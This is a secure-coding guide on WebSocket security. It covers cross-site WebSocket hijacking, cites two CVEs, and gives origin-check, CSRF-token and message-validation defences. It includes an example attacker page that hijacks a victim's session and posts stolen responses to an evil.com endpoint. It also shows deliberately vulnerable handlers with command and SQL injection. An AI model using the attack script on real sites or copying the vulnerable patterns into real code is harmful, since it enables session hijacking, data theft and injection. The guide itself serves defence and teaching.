WebSocket Security
WebSockets enable real-time, bidirectional communication between browsers and servers, but they introduce unique security challenges. Unlike traditional HTTP requests, WebSocket connections can maintain persistent access to server resources, making Cross-Site WebSocket Hijacking (CSWSH) particularly dangerous as it allows attackers to establish hijacked connections that persist throughout an entire session.
Cross-Site WebSocket Hijacking (CSWSH)
CSWSH is a CSRF-like vulnerability that occurs when the WebSocket handshake relies solely on HTTP cookies for session handling without CSRF tokens or other unpredictable values. Unlike regular CSRF, CSWSH gives attackers bidirectional interaction with the vulnerable application through the hijacked connection.
How CSWSH Attacks Work
An attacker creates a malicious webpage that establishes a cross-site WebSocket connection to the vulnerable application using the victim's credentials (cookies). The application handles the connection in the context of the victim's session, allowing the attacker to send arbitrary messages and read responses.
<!-- Attacker's malicious page at evil.com -->
<script>
// Connect to victim's WebSocket endpoint using victim's cookies
const ws = new WebSocket('wss://vulnerable-app.com/api/ws');
ws.onopen = () => {
// Send commands as the authenticated user
ws.send(JSON.stringify({
action: 'deleteAccount'
}));
// Or exfiltrate data
ws.send(JSON.stringify({
action: 'getPrivateMessages'
}));
};
ws.onmessage = (event) => {
// Steal sensitive data from responses
fetch('https://evil.com/steal', {
method: 'POST',
body: event.data
});
};
</script>Real-World CVEs
CVE-2021-1403: Cisco IOS XE
A vulnerability in Cisco IOS XE's web UI allowed unauthenticated remote attackers to conduct CSWSH attacks causing denial of service. The flaw exploited insufficient HTTP protections, corrupting device memory and forcing reloads when authenticated users visited crafted links.
CVE-2019-13209: Rancher Kubernetes
Rancher 2 through 2.2.4 was vulnerable to CSWSH allowing attackers to execute commands against Kubernetes clusters with the victim's permissions. The attack required the victim to be logged into Rancher and then visit the attacker's site.
Browser Security Evolution
Browser security improvements are slowly mitigating CSWSH attacks. Firefox's Total Cookie Protection now blocks many CSWSH attacks by default. However, Chrome and Edge remain vulnerable in default configurations as of 2025, making server-side protections essential.
Vulnerable WebSocket Patterns
Missing Origin Validation
// VULNERABLE: No origin check in WebSocket handler
const WebSocket = require('ws');
const wss = new WebSocket.Server({ server });
wss.on('connection', (ws, req) => {
// Session extracted from cookies - no CSRF protection
const session = getSessionFromCookie(req.headers.cookie);
if (session) {
// Attacker from evil.com can connect with victim's session!
ws.on('message', (message) => {
handleMessage(session.userId, message);
});
}
});Weak Origin Validation
// VULNERABLE: Partial origin matching
wss.on('connection', (ws, req) => {
const origin = req.headers.origin;
// Bypassable: evil-app.company.com or app.company.com.evil.com
if (origin.includes('app.company.com')) {
acceptConnection(ws, req);
}
});
// VULNERABLE: Regex without anchors
const allowedPattern = /company\.com/;
if (allowedPattern.test(origin)) {
// Matches: evil-company.com, company.com.evil.com
acceptConnection(ws, req);
}Relying on SameSite Cookies
// DANGEROUS: Relying solely on SameSite for CSWSH protection
res.cookie('session', sessionId, {
httpOnly: true,
secure: true,
sameSite: 'Lax' // Provides some protection, but...
});
// Problem: Future code changes might set SameSite=None for
// legitimate cross-origin needs, silently enabling CSWSH
// Always implement explicit origin checks as defense in depthWebSocket Message Injection
Beyond CSWSH, WebSocket messages themselves can be vectors for injection attacks if not properly validated:
// VULNERABLE: Server-side command injection
ws.on('message', (message) => {
const data = JSON.parse(message);
// Command injection via WebSocket message
if (data.action === 'convert') {
exec(`convert ${data.filename} output.png`); // Vulnerable!
}
});
// VULNERABLE: SQL injection via WebSocket
ws.on('message', async (message) => {
const { userId } = JSON.parse(message);
// SQL injection - userId not parameterized
const user = await db.query(`SELECT * FROM users WHERE id = ${userId}`);
ws.send(JSON.stringify(user));
});Prevention Strategies
Strict Origin Validation
const ALLOWED_ORIGINS = new Set([
'https://app.company.com',
'https://www.company.com'
]);
wss.on('connection', (ws, req) => {
const origin = req.headers.origin;
// Strict origin check - exact match only
if (!origin || !ALLOWED_ORIGINS.has(origin)) {
ws.close(1008, 'Origin not allowed');
return;
}
// Origin validated - proceed with connection
handleConnection(ws, req);
});CSRF Token in Handshake
// Client: Include CSRF token in WebSocket URL or first message
const csrfToken = document.querySelector('meta[name="csrf-token"]').content;
const ws = new WebSocket(`wss://api.company.com/ws?token=${csrfToken}`);
// Or send token as first message
ws.onopen = () => {
ws.send(JSON.stringify({ type: 'auth', csrfToken }));
};
// Server: Validate token before accepting messages
wss.on('connection', (ws, req) => {
const url = new URL(req.url, 'wss://api.company.com');
const token = url.searchParams.get('token');
if (!validateCSRFToken(token, req.headers.cookie)) {
ws.close(1008, 'Invalid CSRF token');
return;
}
// Token valid - connection is legitimate
setupMessageHandler(ws, req);
});Secure WebSocket Server Implementation
const WebSocket = require('ws');
const crypto = require('crypto');
const ALLOWED_ORIGINS = new Set(['https://app.company.com']);
function createSecureWebSocketServer(server) {
const wss = new WebSocket.Server({
server,
verifyClient: ({ origin, req }, callback) => {
// 1. Validate origin
if (!origin || !ALLOWED_ORIGINS.has(origin)) {
callback(false, 403, 'Forbidden');
return;
}
// 2. Validate CSRF token from query string
const url = new URL(req.url, `wss://${req.headers.host}`);
const token = url.searchParams.get('csrf');
if (!token || !validateCSRFToken(token, req)) {
callback(false, 403, 'Invalid CSRF token');
return;
}
callback(true);
}
});
wss.on('connection', (ws, req) => {
// 3. Authenticate session
const session = getSessionFromCookie(req.headers.cookie);
if (!session) {
ws.close(1008, 'Unauthorized');
return;
}
// 4. Set up rate limiting per connection
const rateLimiter = createRateLimiter(100, 60000); // 100 msgs/min
ws.on('message', (message) => {
if (!rateLimiter.check()) {
ws.close(1008, 'Rate limit exceeded');
return;
}
// 5. Validate and sanitize message content
try {
const data = JSON.parse(message);
const validated = validateMessageSchema(data);
handleMessage(session, validated);
} catch (err) {
ws.send(JSON.stringify({ error: 'Invalid message format' }));
}
});
});
return wss;
}Message Validation
const Joi = require('joi');
// Define strict schemas for WebSocket messages
const messageSchemas = {
chat: Joi.object({
type: Joi.string().valid('chat').required(),
message: Joi.string().max(1000).required(),
roomId: Joi.string().uuid().required()
}),
subscribe: Joi.object({
type: Joi.string().valid('subscribe').required(),
channels: Joi.array().items(Joi.string().alphanum()).max(10).required()
})
};
function validateMessageSchema(data) {
const schema = messageSchemas[data.type];
if (!schema) {
throw new Error('Unknown message type');
}
const { error, value } = schema.validate(data, {
stripUnknown: true // Remove unexpected fields
});
if (error) {
throw new Error(`Validation failed: ${error.message}`);
}
return value;
}Security Checklist
• Always validate the Origin header on WebSocket handshakes - exact match only
• Use CSRF tokens in handshake requests as additional protection
• Never rely solely on SameSite cookies - they may change in future updates
• Authenticate WebSocket connections the same as HTTP endpoints
• Validate and sanitize all WebSocket message content
• Use parameterized queries for any database operations
• Implement rate limiting per connection to prevent abuse
• Use WSS (WebSocket Secure) - never WS in production
• Implement connection timeouts and maximum connection limits
• Log and monitor WebSocket connections for anomalous patterns